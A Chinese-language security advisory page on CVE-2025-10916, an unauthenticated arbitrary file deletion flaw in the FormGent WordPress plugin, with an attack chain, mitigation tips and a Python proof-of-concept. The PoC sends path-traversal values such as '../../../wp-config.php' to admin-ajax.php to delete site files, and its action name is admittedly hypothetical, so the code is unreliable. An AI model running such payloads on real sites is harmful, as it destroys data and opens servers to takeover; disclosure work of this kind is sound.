IPBUF安全漏洞报告
English
CVE-2025-10916 CVSS 9.1 严重

CVE-2025-10916:FormGent WordPress插件任意文件删除漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-10916
漏洞类型
任意文件删除(Arbitrary File Deletion)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FormGent WordPress Plugin

相关标签

任意文件删除路径遍历WordPressFormGent插件漏洞未认证漏洞高危漏洞CVE-2025-10916WPScan

漏洞概述

CVE-2025-10916是FormGent WordPress插件中存在的一个高危安全漏洞,该漏洞在2025年10月21日被披露,CVSS评分为9.1,属于严重级别漏洞。该漏洞源于插件对文件路径验证不充分,导致未经身份验证的攻击者可以在服务器上执行任意文件删除操作。FormGent是一款用于WordPress的表单管理插件,广泛应用于各类网站中。由于该漏洞无需任何认证即可利用(PR:N),且不需要用户交互(UI:N),攻击者可以通过网络远程(AV:N)发起攻击,对目标服务器的文件系统造成严重破坏。一旦攻击者成功利用该漏洞删除关键文件(如WordPress核心配置文件wp-config.php),可能导致网站完全瘫痪、数据丢失,甚至通过删除安全相关文件后进一步执行远程代码。该漏洞的发现者为WPScan团队([email protected]),WPScan作为WordPress安全领域的权威机构,及时发现并报告了这一严重安全问题。受影响的版本为FormGent插件1.0.4之前的所有版本,官方已在1.0.4版本中修复了该漏洞。建议所有使用该插件的WordPress站点管理员立即检查并更新到最新版本,以避免遭受潜在攻击。

技术细节

该漏洞的核心问题在于FormGent WordPress插件在处理文件操作时缺乏对文件路径的充分验证。具体而言,插件在接收用户提供的文件路径参数时,未能正确过滤和验证路径中的特殊字符(如'../'等路径遍历序列),导致攻击者可以通过构造恶意路径绕过安全检查,删除服务器上的任意文件。

利用方式如下:
1. 攻击者首先识别目标网站是否安装了FormGent WordPress插件;
2. 通过分析插件的文件处理接口(如AJAX端点或REST API),找到接受文件路径参数的入口点;
3. 构造包含路径遍历序列的恶意请求,例如使用'../../../wp-config.php'等路径,指向服务器上的关键文件;
4. 由于服务器未对路径进行规范化处理或白名单验证,恶意路径被直接传递给文件删除函数(如PHP的unlink()函数);
5. 关键文件被删除后,WordPress站点可能崩溃,攻击者可进一步删除安全防护文件,为后续攻击(如上传Webshell)创造条件。

该漏洞的危险性在于:无需认证即可利用、影响完整性(I:H)和可用性(A:H),攻击者可远程批量扫描并攻击暴露在公网上的WordPress站点。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过WPScan等工具扫描目标WordPress站点,识别是否安装了FormGent插件及其版本号,确认目标是否存在CVE-2025-10916漏洞。
STEP 2
步骤2:漏洞探测
攻击者分析FormGent插件的文件处理接口,定位接受文件路径参数的AJAX端点或REST API,确认路径遍历漏洞的存在。
STEP 3
步骤3:构造恶意请求
攻击者构造包含路径遍历序列(如../../../)的恶意HTTP请求,指定要删除的目标文件路径(如wp-config.php)。
STEP 4
步骤4:发送攻击载荷
由于漏洞无需认证(PR:N)和用户交互(UI:N),攻击者直接通过网络远程发送恶意请求到目标服务器。
STEP 5
步骤5:文件删除执行
服务器端未对文件路径进行充分验证,将恶意路径直接传递给文件删除函数,成功删除服务器上的任意文件。
STEP 6
步骤6:后续攻击
删除关键文件(如wp-config.php、安全插件文件)后,攻击者可进一步上传Webshell或执行其他恶意操作,完全控制目标服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10916 - FormGent WordPress Plugin Arbitrary File Deletion PoC # Vulnerability: Insufficient file path validation in FormGent plugin < 1.0.4 # CVSS: 9.1 (CRITICAL) import requests TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint in FormGent plugin that handles file deletion VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" def exploit(target_url, file_to_delete): """ Exploit arbitrary file deletion vulnerability in FormGent WordPress plugin. Args: target_url: The base URL of the target WordPress site file_to_delete: Relative path to the file to delete (e.g., '../../../wp-config.php') """ url = f"{target_url}{VULNERABLE_ENDPOINT}" # Construct payload with path traversal to delete arbitrary files payload = { "action": "formgent_delete_file", # Hypothetical action name "file_path": file_to_delete } # Send exploit request - no authentication required (PR:N) response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Exploit sent successfully to delete: {file_to_delete}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False if __name__ == "__main__": # Target critical WordPress files for deletion target_files = [ "../../../wp-config.php", # WordPress configuration file "../../../.htaccess", # Apache configuration "../../../wp-content/debug.log", # Debug log file ] for target_file in target_files: exploit(TARGET_URL, target_file)

影响范围

FormGent WordPress Plugin < 1.0.4

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过修改.htaccess文件或Nginx配置,限制对FormGent插件相关AJAX端点的访问;2)部署WAF规则,阻止包含'../'等路径遍历特征的请求;3)暂时禁用FormGent插件直到可以安全升级;4)加强服务器文件权限管理,确保关键文件不可被Web进程删除;5)密切监控服务器日志,及时发现和阻断可疑的文件删除请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表